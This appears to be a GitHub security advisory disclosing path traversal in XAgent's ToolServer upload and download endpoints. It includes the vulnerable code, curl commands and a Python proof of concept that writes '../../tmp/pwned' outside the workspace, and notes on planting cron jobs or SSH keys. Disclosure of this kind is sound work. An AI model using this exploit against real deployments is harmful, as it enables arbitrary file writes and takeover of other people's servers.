-
Notifications
You must be signed in to change notification settings - Fork 892
Description
Description:
Summary
The /upload_file endpoint in ToolServer/ToolServerNode/main.py takes the user-supplied filename from the multipart upload and passes it directly into os.path.join() without any sanitization. By sending a filename containing ../ sequences (e.g. ../../tmp/pwned), an attacker can write arbitrary files to any location on the container's filesystem. Since the ToolServerNode container runs as root, this means full control over the filesystem — overwriting application code, planting cron jobs, or dropping SSH keys.
I verified this against the official production images (xagentteam/toolserver-node:latest and xagentteam/toolserver-manager:latest) pulled from Docker Hub, deployed using the project's own docker-compose.yml.
Details
In ToolServer/ToolServerNode/main.py, the upload_file function reads file.filename directly from the incoming request and uses it in os.path.join(work_directory, file_name) to build the write path:
@app.post('/upload_file')
async def upload_file(file:UploadFile):
upload_file = file.file.read()
file_name = file.filename # user-controlled
work_directory = CONFIG['filesystem']['work_directory'] # /app/workspace/
with open(os.path.join(work_directory, file_name),'wb') as f: # path traversal here
f.write(upload_file)
return {"message": "Upload Success!"}file.filename comes from the filename field in the Content-Disposition header of the multipart body. An attacker sets it to something like ../../tmp/pwned, and os.path.join("/app/workspace/", "../../tmp/pwned") resolves to /tmp/pwned.
There is no call to os.path.basename(), no ../ stripping, no os.path.realpath() check, and no allowlist validation. The path escapes the intended /app/workspace/ directory completely.
The ToolServerManager at port 8080 acts as the external-facing proxy. When /upload_file is called, the Manager's route_to_node() function (at ToolServer/ToolServerManager/main.py line 228) forwards the raw HTTP body to the ToolServerNode without inspecting or sanitizing the multipart content. So the traversal payload goes through the full production stack unchanged.
Additionally, the /download_file endpoint at line 64 of the same file has a related issue — file_path is user-controlled and joined with os.path.join(work_directory, file_path) at line 80, allowing an attacker to read arbitrary files from the container (e.g. /etc/shadow, application source code, etc.). The startswith(os.path.basename(...)) check at line 77 is trivially bypassed since it only strips the workspace directory name prefix and doesn't prevent ../ traversal.
PoC
Environment setup:
git clone https://github.com/OpenBMB/XAgent.git
cd XAgent
docker compose up -d ToolServerManager ToolServerNode db
# Wait ~30s for ToolServerManager to become healthyExploitation:
# 1. Get a session cookie (this spawns a ToolServerNode container)
curl -v -X POST http://127.0.0.1:8080/get_cookie
# Note the node_id from the Set-Cookie header
# 2. Upload a file with a traversal filename
echo "PWNED" > /tmp/payload.txt
curl -X POST http://127.0.0.1:8080/upload_file \
-b "node_id=<NODE_ID_FROM_STEP_1>" \
-F "file=@/tmp/payload.txt;filename=../../tmp/pwned"
# Returns: {"message":"Upload Success!"}
# 3. Verify the file landed outside the workspace
docker exec <NODE_CONTAINER_ID> cat /tmp/pwned
# Output: PWNED
docker exec <NODE_CONTAINER_ID> ls -la /app/workspace/
# Output: empty directory — the file never went to the intended locationOr use the Python exploit script:
import requests, io
TARGET = "http://127.0.0.1:8080"
# Step 1: spawn a ToolServerNode
resp = requests.post(f"{TARGET}/get_cookie", timeout=60)
node_id = resp.cookies.get("node_id")
# Step 2: upload with path traversal
files = {'file': ('../../tmp/pwned', io.BytesIO(b'PWNED\n'), 'application/octet-stream')}
resp = requests.post(f"{TARGET}/upload_file", files=files, cookies={"node_id": node_id})
print(resp.json()) # {"message": "Upload Success!"}Screenshot of Evidence
Exploit script output (against production images):
[*] Target: http://127.0.0.1:8080
[*] Attack flow: Manager:8080 → /get_cookie → /upload_file (proxied to Node)
[*] Step 1: Getting session cookie from ToolServerManager...
[+] Got node_id: b2077291cea4e2e3...
[+] ToolServerNode container spawned
[*] Step 2: Sending malicious upload with filename: ../../tmp/pwned
[*] Expected write location in container: /tmp/pwned
[*] Response status: 200
[*] Response body: {"message":"Upload Success!"}
[+] =========================================
[+] EXPLOIT SUCCESSFUL!
[+] =========================================
Independent verification inside the production container:
$ docker exec b2077291cea4 cat /tmp/pwned
PATH_TRAVERSAL_PROOF: XAgent ToolServerNode /upload_file arbitrary file write via production ToolServerManager
$ docker exec b2077291cea4 ls -la /app/workspace/
total 12
drwxr-xr-x 2 root root 4096 Nov 22 2023 .
drwxr-xr-x 1 root root 4096 Feb 22 03:47 ..
$ docker exec b2077291cea4 head -3 /app/main.py
import os
import sys
import zipfile
Production image confirmation:
$ docker ps --format "table {{.ID}}\t{{.Image}}\t{{.Status}}"
baf4147050ec xagentteam/toolserver-node:latest Up 8 seconds (healthy)
0fa7b77716b5 xagentteam/toolserver-manager:latest Up 38 seconds (healthy)
Impact
This is an Arbitrary File Write vulnerability. An attacker who can reach the ToolServerManager HTTP endpoint (port 8080) can:
- Overwrite application code (
../../app/main.py) to inject backdoors - Write cron jobs (
../../etc/cron.d/evil) for persistent RCE - Plant SSH keys (
../../root/.ssh/authorized_keys) for direct shell access - Corrupt or destroy data in any filesystem path
The container runs as root, so there are no permission restrictions. Combined with the fact that /get_cookie creates sessions without authentication, any network-adjacent attacker can exploit this with zero privileges.
Affected products
- Ecosystem: pip
- Package name: XAgent (OpenBMB/XAgent)
- Affected versions: all versions up to and including the latest commit (
3619c25) - Patched versions: None
Severity
- Severity: Critical
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weaknesses
- CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Occurrences
| Permalink | Description | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
XAgent/ToolServer/ToolServerNode/main.py Lines 46 to 62 in 3619c25
|
The vulnerable upload_file endpoint. file.filename (line 58) is used directly in os.path.join(work_directory, file_name) (line 60) without any sanitization, allowing path traversal to write files outside /app/workspace/. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
XAgent/ToolServer/ToolServerNode/main.py Lines 64 to 83 in 3619c25
|
The download_file endpoint with a related path traversal issue. file_path (line 65) is user-controlled and joined unsafely at line 80, allowing arbitrary file reads from the container filesystem. The startswith check at line 77 does not prevent ../ traversal. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
XAgent/ToolServer/ToolServerManager/main.py Lines 228 to 269 in 3619c25
|
The route_to_node() proxy function in ToolServerManager. It forwards the raw HTTP body to ToolServerNode without inspecting or sanitizing multipart content, allowing the malicious filename to pass through the production proxy. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
XAgent/assets/config/manager.yml Lines 43 to 44 in 3619c25
|
The Manager routing config that exposes both /upload_file and /download_file as externally proxied endpoints. |